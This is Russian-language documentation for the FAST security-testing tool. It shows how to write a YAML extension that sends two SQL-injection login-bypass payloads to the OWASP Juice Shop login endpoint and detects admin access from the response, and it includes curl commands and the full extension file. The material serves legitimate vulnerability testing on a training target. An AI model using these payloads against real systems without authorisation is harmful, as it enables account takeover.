Создание немодифицирующего расширения

Расширение, которое описано в этом документе, не будет модифицировать поступивший базовый запрос. Вместо этого на хост, указанный в базовом запросе, будут посылаться два заранее сконструированных запроса с полезными нагрузками, которые могут вызвать срабатывание SQLi-уязвимости в форме логина целевого приложения OWASP Juice Shop.

Подготовка

Перед созданием расширения рекомендуется изучить логику работы приложения, для которого создается расширение.

Конструирование расширения

Создайте YAML-файл, описывающий расширение, например, non-mod-extension.yaml, и наполните его требуемыми секциями:

  1. Секция meta-info.

    Подготовьте описание уязвимости, которую позволяет обнаружить расширение:

    • заголовок для уязвимости: OWASP Juice Shop SQLi (non-mod extension);
    • описание уязвимости: Demo of SQLi in OWASP Juice Shop (Admin Login);
    • тип уязвимости: SQL-инъекция;
    • уровень опасности уязвимости: высокий.

    Соответствующая секция meta-info будет иметь следующий вид:

    meta-info:
    - type: sqli
    - threat: 80
    - title: 'OWASP Juice Shop SQLi (non-mod extension)'
    - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
    
  2. Секция send, фаза Send.

    Известно, что есть две полезные нагрузки, любую из которых необходимо отправить целевому приложению в параметре email, чтобы в сочетании с любым параметром password вызвать срабатывание SQL-инъекции:

    • 'or 1=1 --
    • admin@juice-sh.op'--

    Вы можете описать два тестовых запроса, каждый из которых будет содержать в себе параметр email с одной полезной нагрузкой и параметр password с произвольным значением. Для проверки конкретного целевого приложения (OWASP Juice Shop) достаточно одного запроса.

    Однако, наличие нескольких подготовленных запросов может помочь при тестировании реального приложения: если в новой версии приложения один из описанных запросов перестанет вызывать срабатывание уязвимости, останутся другие запросы, которые помогут выявить уязвимость в приложении при помощи других полезных нагрузок.

    Запрос, содержащий первую полезную нагрузку, может быть таким:

    curl --request POST --url http://ojs.example.local/rest/user/login \
         --header 'content-type: application/json' \
         --header 'host: ojs.example.local' \
         --data '{"email":"'\''or 1=1 --", "password":"12345"}'
    

    Запрос, содержащий вторую полезную нагрузку, выглядит аналогично:

    curl --request POST --url http://ojs.example.local/rest/user/login \
         --header 'content-type: application/json' \
         --header 'host: ojs.example.local' \
         --data '{"email":"admin@juice-sh.op'\''--", "password":"12345"}'
    

    Создайте секцию send, содержащую в себе описания этих двух запросов:

    send:
      - method: 'POST'
        url: '/rest/user/login'
        headers:
        - 'Content-Type': 'application/json'
        body: '{"email":"''or 1=1 --","password":"12345"}'
      - method: 'POST'
        url: '/rest/user/login'
        headers:
        - 'Content-Type': 'application/json'
        body: '{"email":"admin@juice-sh.op''--","password":"12345"}'
    

    Работа с заголовком Host

    Заголовок Host можно опустить, так как его наличие не влияет на эксплуатацию уязвимости. FAST-нода сама добавит к запросу заголовок Host, который будет взят из поступившего базового запроса.

    Подробнее о том, как фаза Send работает с заголовками, читайте в описании фазы.

  3. Секция detect, фаза Detect.

    Индикаторами успешной аутентификации пользователя с административными правами служат:

    • Наличие в теле ответа параметра «идентификатор корзины» со значением 1. Параметр в ответе представлен в виде JSON следующим образом:
    "bid":1
    
    • Наличие в теле ответа параметра «e-mail пользователя» со значением admin@juice-sh.op. Параметр в ответе представлен в виде JSON следующим образом:
     "umail":"admin@juice-sh.op"
    

    Добавьте в расширение секцию detect, которая проверяет факт успешности атаки в соответствии с описанными выше соображениями:

    detect:
      - response:
        - body: "\"umail\":\"admin@juice-sh.op\""
        - body: "\"bid\":1"
    

Экранирование спецсимволов

Не забывайте экранировать спецсимволы в строках.

Файл с расширением

Файл non-mod-extension.yaml, приведенный ниже, содержит итоговое расширение со всеми необходимыми секциями.

non-mod-extension.yaml
meta-info:
  - type: sqli
  - threat: 80
  - title: 'OWASP Juice Shop SQLi (non-mod extension)'
  - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'

send:
  - method: 'POST'
    url: '/rest/user/login'
    headers:
    - 'Content-Type': 'application/json'
    body: '{"email":"''or 1=1 --","password":"12345"}'
  - method: 'POST'
    url: '/rest/user/login'
    headers:
    - 'Content-Type': 'application/json'
    body: '{"email":"admin@juice-sh.op''--","password":"12345"}'

detect:
  - response:
    - body: "\"umail\":\"admin@juice-sh.op\""
    - body: "\"bid\":1"

Использование расширения

Информация о том, как использовать созданное расширение FAST, расположена здесь.

results matching ""

    No results matching ""